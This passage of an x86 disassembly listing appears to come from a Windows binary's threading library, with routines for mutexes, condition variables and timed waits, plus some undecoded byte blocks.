jmp short loc_4312C0
; ---------------------------------------------------------------------------
loc_4312BE: ; CODE XREF: sub_431240+4Dj
; sub_431240+54j
xor edi, edi
loc_4312C0: ; CODE XREF: sub_431240+6Ej
; sub_431240+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401BA9
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
call near ptr 77C3A3DBh
nop
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_431309
test ebp, ebp
jz short loc_431302
cmp dword ptr [ebp+0], 0
jz short loc_431302
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020D1
add esp, 0Ch
loc_431302: ; CODE XREF: sub_431240+AAj
; sub_431240+B0j
push edi
nop
call near ptr 2770480h
loc_431309: ; CODE XREF: sub_431240+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_431349
loc_431316: ; CODE XREF: sub_431240+14j
; sub_431240+30j
push esi
call sub_4017B7
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43133C
push ebx
call near ptr 77C2C21Bh
nop
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43133C: ; CODE XREF: sub_431240+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_431349: ; CODE XREF: sub_431240+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_431240 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4313B0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4313E7 ; default
jmp off_4313EC[ecx*4] ; switch jump
loc_4313C5: ; DATA XREF: ___:off_4313ECo
call sub_401712 ; jumptable 004313BE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313CD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017BC ; jumptable 004313BE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313D5: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313DD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 0
call sub_401627
locret_4313E7: ; CODE XREF: ___:004313BCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr
dd offset loc_4313C5 ; jump table for switch statement
dd offset loc_4313CD
dd offset loc_4313D5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431420: ; CODE XREF: ___:004017C1j
mov eax, dword_5103C4
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h
dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431470 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_5108E0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_43149B
mov eax, [eax+4]
test eax, eax
jz short loc_43149B
push eax
nop
call near ptr 2760935h
cmp eax, 7FFFFFFFh
jnz short loc_4314A0
loc_43149B: ; CODE XREF: sub_431470+14j
; sub_431470+1Bj
mov esi, 3
loc_4314A0: ; CODE XREF: sub_431470+29j
push offset dword_5108E0
call near ptr 7C9010EDh
nop
test esi, esi
jnz short loc_4314BC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4314BE
loc_4314BC: ; CODE XREF: sub_431470+3Dj
mov eax, esi
loc_4314BE: ; CODE XREF: sub_431470+4Aj
pop esi
retn
sub_431470 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: ___:00401654j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_431531
mov edi, [esp+14h]
test edi, edi
jz short loc_431531
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_431511
lea eax, [esi+4]
push eax
nop
call near ptr 276089Dh
test eax, eax
jnz short loc_431517
call edi
mov dword ptr [esi], 1
loc_431511: ; CODE XREF: ___:004314F9j
; ___:0043151Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431517: ; CODE XREF: ___:00431507j
cmp dword ptr [esi], 0
jnz short loc_431511
mov edi, dword_5118D8
loc_431522: ; CODE XREF: ___:00431529j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_431522
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431531: ; CODE XREF: ___:004314E9j
; ___:004314F1j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431560 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_5103C4
push esi
push edi
push eax
call sub_401190
sub_431560 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232EDF0h, 187C1D8Bh
dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 3AE89050h
dd 500235EDh, 0E850D3FFh, 232EDF1h, 5BC08590h, 0E8560E75h
dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F35CE8h
dd 28468902h, 3C4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431630 proc near ; CODE XREF: sub_401A64j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43164E
test eax, eax
jz short loc_431648
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43164E
loc_431648: ; CODE XREF: sub_431630+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43164E: ; CODE XREF: sub_431630+Aj
; sub_431630+16j
xor eax, eax
retn
sub_431630 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431670: ; CODE XREF: ___:0040200Ej
mov eax, [esp+4]
test eax, eax
jge short loc_43167E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43167E: ; CODE XREF: ___:00431676j
mov dword_5103D4, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4316A0: ; CODE XREF: ___:00401564j
mov eax, dword_5103D4
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4316C0 proc near ; CODE XREF: sub_401B27j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4316E2
push 84h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jz short loc_431729
loc_4316E2: ; CODE XREF: sub_4316C0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 2760000h
test eax, eax
mov [esi+38h], eax
jnz short loc_431729
push esi
call sub_401BD1
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_431729: ; CODE XREF: sub_4316C0+20j
; sub_4316C0+5Aj
mov eax, esi
pop esi
retn
sub_4316C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431750 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_5108E0
call near ptr 7C901005h
nop
mov esi, dword_447718
cmp esi, 1
jz short loc_431785
mov eax, [esi+8]
push offset dword_5108E0
mov dword_447718, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431785: ; CODE XREF: sub_431750+15j
push offset dword_5108E0
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431750 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317C0 proc near ; CODE XREF: sub_401BD1j
arg_0 = dword ptr 4
push edi
push offset dword_5108E0
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_447718
push offset dword_5108E0
mov [edx+8], eax
mov dword_447718, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4317C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431810 proc near ; CODE XREF: sub_40164Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_431830
sub_431810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431830 proc near ; CODE XREF: sub_431810+7p
; sub_431950+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_431830 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_431866
mov eax, [esi+30h]
test eax, eax
jnz short loc_43186E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43186E
mov edi, 2
jmp short loc_43186E
; ---------------------------------------------------------------------------
loc_431866: ; CODE XREF: ___:0043184Bj
mov dword ptr [esp+0Ch], 0
loc_43186E: ; CODE XREF: ___:00431852j
; ___:0043185Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 2750ADEh
mov ecx, eax
sub ecx, 0
jz short loc_4318F9
dec ecx
jz short loc_4318A4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318A4: ; CODE XREF: ___:00431889j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 27709B8h
test esi, esi
jz short loc_4318EE
lea edi, [esi+2Ch]
push edi
call sub_402248
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4318E5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4318E5: ; CODE XREF: ___:004318C9j
push edi
call sub_4010C3
add esp, 4
loc_4318EE: ; CODE XREF: ___:004318B1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318F9: ; CODE XREF: ___:00431886j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431950 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_431830
sub_431950 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431980 proc near ; CODE XREF: sub_401C17j
arg_0 = dword ptr 4
push esi
push offset dword_510940
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4319B4
push esi
push ecx
call sub_4021BC
add esp, 8
mov esi, eax
push offset dword_510940
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4319B4: ; CODE XREF: sub_431980+17j
test eax, eax
jnz short loc_4319BD
mov esi, 16h
loc_4319BD: ; CODE XREF: sub_431980+36j
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4319F0 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_431A04
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A04: ; CODE XREF: sub_4319F0+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_431A1F
mov eax, [edi]
test eax, eax
jz short loc_431A1F
cmp dword ptr [eax], 1
jnz short loc_431A1F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A1F: ; CODE XREF: sub_4319F0+1Aj
; sub_4319F0+20j ...
push esi
push 2Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431A44
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A44: ; CODE XREF: sub_4319F0+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_431A60
mov edi, [edi]
test edi, edi
jz short loc_431A60
mov edi, [edi+4]
jmp short loc_431A62
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: sub_4319F0+63j
; sub_4319F0+69j
xor edi, edi
loc_431A62: ; CODE XREF: sub_4319F0+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_431A9D
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A9D: ; CODE XREF: sub_4319F0+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 2790000h
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_4319F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B00 proc near ; CODE XREF: sub_402252j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_431BE0
mov eax, [edi]
test eax, eax
jz loc_431BE0
cmp eax, 0FFFFFFFFh
jz loc_431BA5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_401785
mov esi, eax
add esp, 4
test esi, esi
jnz loc_431BDB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_431B97
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_431B90
add edx, 10h
push edx
call sub_401690
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
nop
call near ptr 2780765h
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B90: ; CODE XREF: sub_431B00+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B97: ; CODE XREF: sub_431B00+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BA5: ; CODE XREF: sub_431B00+1Dj
push offset dword_510940
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_431BCB
push offset dword_510940
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BCB: ; CODE XREF: sub_431B00+B3j
push offset dword_510940
mov esi, 10h
call near ptr 7C9010EDh
nop
loc_431BDB: ; CODE XREF: sub_431B00+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BE0: ; CODE XREF: sub_431B00+Aj
; sub_431B00+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C30 proc near ; CODE XREF: sub_401A1Ej
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
cmp eax, esi
jnz short loc_431C53
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431C53: ; CODE XREF: sub_431C30+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_431C30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C80 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431CA1
mov eax, [ecx]
test eax, eax
jz short loc_431CA1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CA1: ; CODE XREF: sub_431C80+9j
; sub_431C80+Fj
mov eax, 16h
pop esi
retn
sub_431C80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431CC0: ; CODE XREF: ___:00401BBDj
mov eax, [esp+4]
test eax, eax
jz short loc_431CDD
mov eax, [eax]
test eax, eax
jz short loc_431CDD
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431CDD
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431CDD: ; CODE XREF: ___:00431CC6j
; ___:00431CCCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D00: ; CODE XREF: ___:00401906j
mov eax, [esp+4]
test eax, eax
jz short loc_431D2A
mov ecx, [eax]
test ecx, ecx
jz short loc_431D2A
mov eax, [esp+8]
cmp eax, 1
jz short loc_431D1E
test eax, eax
jnz short loc_431D2A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431D1E: ; CODE XREF: ___:00431D15j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431D2A: ; CODE XREF: ___:00431D06j
; ___:00431D0Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D40 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D61
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D61
mov edx, [esp+arg_4]
test edx, edx
jl short loc_431D61
cmp edx, 2
jg short loc_431D61
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_431D61: ; CODE XREF: sub_431D40+8j
; sub_431D40+Ej ...
mov eax, 16h
retn
sub_431D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D80 proc near ; CODE XREF: sub_4018CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D9E
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D9E
mov edx, [esp+arg_4]
test edx, edx
jz short loc_431D9E
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_431D9E: ; CODE XREF: sub_431D80+8j
; sub_431D80+Ej ...
mov eax, 16h
retn
sub_431D80 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431DC0 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_431E77
mov eax, [esi]
test eax, eax
jz loc_431E77
cmp eax, 0FFFFFFFFh
jnz short loc_431DF1
push esi
call sub_401C17
mov edi, eax
add esp, 4
test edi, edi
jz short loc_431DF1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431DF1: ; CODE XREF: sub_431DC0+1Dj
; sub_431DC0+2Cj
mov esi, [esi]
push esi
nop
call near ptr 276089Dh
test eax, eax
jnz short loc_431E1A
loc_431DFE: ; CODE XREF: sub_431DC0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_431E12
call sub_4012E4
; ---------------------------------------------------------------------------
loc_431E12: ; CODE XREF: sub_431DC0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E1A: ; CODE XREF: sub_431DC0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_431E5A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EDA5E890h
dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E5A: ; CODE XREF: sub_431DC0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_431EB0
add esp, 4
test eax, eax
jz short loc_431DFE
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E77: ; CODE XREF: sub_431DC0+Aj
; sub_431DC0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_431ECA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
call near ptr 2770836h
nop
test eax, eax
jnz short loc_431ECA
retn
; ---------------------------------------------------------------------------
loc_431ECA: ; CODE XREF: sub_431EB0+6j
; sub_431EB0+17j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_431EB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EF0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_432088
mov eax, [esi]
test eax, eax
jz loc_432088
cmp eax, 0FFFFFFFFh
jnz short loc_431F21
push esi
call sub_401C17
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_431F21
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F21: ; CODE XREF: sub_431EF0+1Dj
; sub_431EF0+2Cj
mov esi, [esi]
push ebx
push edi
push esi
call near ptr 276089Dh
nop
test eax, eax
jnz short loc_431F52
loc_431F30: ; CODE XREF: sub_431EF0+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F52: ; CODE XREF: sub_431EF0+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_431F96
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EC6DE890h
dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F96: ; CODE XREF: sub_431EF0+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_431FAA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FAA: ; CODE XREF: sub_431EF0+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_432100
add esp, 8
sub eax, 0
jz loc_43206A
dec eax
jz short loc_432034
dec eax
jz short loc_431FD5
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FD5: ; CODE XREF: sub_431EF0+D4j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_432007
call near ptr 2770BE3h
nop
push ebx
call near ptr 7C9010EDh
nop
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432007: ; CODE XREF: sub_431EF0+101j
call near ptr 2770BE3h
nop
test eax, eax
jl short loc_432026
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432026
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
loc_432026: ; CODE XREF: sub_431EF0+11Fj
; sub_431EF0+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432034: ; CODE XREF: sub_431EF0+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_43205A
push esi
nop
call near ptr 2770BE3h
mov ebp, 274Ch
loc_43205A: ; CODE XREF: sub_431EF0+15Cj
push ebx
nop
call near ptr 7C9010EDh
test edi, edi
jnz short loc_432081
jmp loc_431F30
; ---------------------------------------------------------------------------
loc_43206A: ; CODE XREF: sub_431EF0+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43207E: ; CODE XREF: sub_431EF0+4Dj
; sub_431EF0+187j
mov [esi+0Ch], eax
loc_432081: ; CODE XREF: sub_431EF0+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432088: ; CODE XREF: sub_431EF0+Aj
; sub_431EF0+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_431EF0 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432100 proc near ; CODE XREF: sub_431EF0+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_43219E
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_432132
or eax, 0FFFFFFFFh
loc_43211C: ; CODE XREF: sub_432100+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 2770836h
test eax, eax
jnz short loc_43218C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432132: ; CODE XREF: sub_432100+17j
lea eax, [esp+14h+var_C]
push eax
call near ptr 77C49113h
nop
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
